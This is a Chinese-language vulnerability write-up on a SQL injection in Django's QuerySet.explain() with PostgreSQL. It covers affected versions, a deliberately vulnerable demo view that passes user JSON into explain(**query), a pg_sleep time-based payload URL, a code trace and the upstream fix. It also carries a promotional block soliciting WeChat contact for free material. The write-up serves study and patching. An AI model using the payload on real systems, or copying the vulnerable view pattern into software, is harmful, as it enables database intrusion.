[img=720,336.18677042801556]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604209.png[/img]
漏洞简介
在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain() 中发现了SQL注入问题。这是通过传递一个精心编制的字典（带有字典扩展）作为**options参数来实现的，并将注入负载放置在选项名称中。
影响版本
2.2 =< Django < 2.2.28
3.2 =< Django < 3.2.13
4.0 =< Django < 4.0.4
环境搭建
创建存在 漏洞 Django 版本 3.2.12 项目
创建 startapp Demo 并依次修改文件
安装 postgresql 数据库
settings.py 设置连接数据库为 postgresql 数据库- DATABASES = {
- 'default': {
- 'ENGINE': 'django.db.backends.postgresql',
- 'NAME': 'test',
- 'USER': 'postgres',
- 'PASSWORD': '123456',
- 'HOST': '127.0.0.1',
- 'PORT': '5432',
- }
- }
- from django.contrib import admin
- from django.urls import path
-
- from Demo import views
-
- urlpatterns = [
- path('admin/', admin.site.urls),
- path('index/', views.index),
- path('demo/', views.users),
- path('initialize/', views.loadexampledata),
- ]
- from django.db import models
-
- # Create your models here.
- class User(models.Model):
- name = models.CharField(max_length=200)
-
- def __str__(self):
- return self.name
- import json
-
-
- from django.http import HttpResponse
- from django.shortcuts import render
-
- # Create your views here.
- from .models import User
-
-
-
- def index(request):
- return HttpResponse('hello world')
-
- def users(request):
- query = request.GET.get('q')
- query = json.loads(query)
- qs = User.objects.get_queryset().explain(**query)
- return HttpResponse(qs)
-
-
- def loadexampledata(request):
- u = User(name="Admin")
- u.save()
- u = User(name="Staff1")
- u.save()
- u = User(name="Staff12")
- u.save()
- return HttpResponse("ok")
漏洞复现
- http://127.0.0.1:8000/demo/?q={"ANALYZE)+select+pg_sleep(5);--+":"aaa"}
发现成功构造使得服务器沉睡
【----帮助网安学习，以下所有学习资料免费领！加vx：yj009991，备注 “博客园” 获取！】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP客户端安全检测指南（安卓+IOS）
漏洞分析
在进行代码分析之前，我们先了解一个知识点 EXPLAIN
EXPLAIN
EXPLAIN -- 显示一个语句的执行计划
 - EXPLAIN [ ( option [, ...] ) ] statement
- EXPLAIN [ ANALYZE ] [ VERBOSE ] statement
-
- option：
- ANALYZE [ boolean ] 执行命令并显示实际运行时间
- VERBOSE [ boolean ] 显示规划树完整的内部表现形式，而不仅是一个摘要
- COSTS [ boolean ]
- BUFFERS [ boolean ]
- TIMING [ boolean ]
- FORMAT { TEXT | XML | JSON | YAML }
-
- statement：
- 查询执行计划的 SQL 语句，可以是任何 select、insert、update、delete、values、execute、declare 语句
调试分析
[img=720,221.51612903225808]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604213.png[/img]
django.db.models.query.QuerySet.explain
[img=720,37.47945205479452]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604214.png[/img]
django.db.models.sql.query.Query.explain
[img=720,77.45366639806608]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604215.png[/img]
django.db.models.sql.compiler.SQLCompiler.explain_query
[img=720,144.55142231947482]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604216.png[/img]
django.db.models.sql.compiler.SQLCompiler.execute_sql
[img=720,171.34615384615384]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604217.png[/img]
django.db.models.sql.compiler.SQLCompiler.as_sql
[img=720,85.83560152422427]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604218.png[/img]
在这里会根据所选择的数据库，来调用其相对应的 explain_query_prefix 方法
django.db.backends.postgresql.operations.DatabaseOperations.explain_query_prefix
[img=720,307.74427020506636]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604219.png[/img]
postgresql 中 重写了 explain_query_prefix 方法将键名拼接到了 SQL 语句中
[img=720,324.559585492228]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604220.png[/img]
最后执行的 SQL 语句是- 'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);-- true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"'
漏洞修复
https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402#diff-fbd8a517f5fa1333b9f7273bcd007551cd2fb4b8f6732cd6002ba42411802901
[img=720,271.6981132075472]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604221.png[/img]
做了一个过滤，发现危险字符就抛出异常
[img=720,387.0929660600098]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604222.png[/img]
只有字符串在白名单内才会拼接到语句中
更多网安技能的在线实操练习，请点击这里>>
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！ |
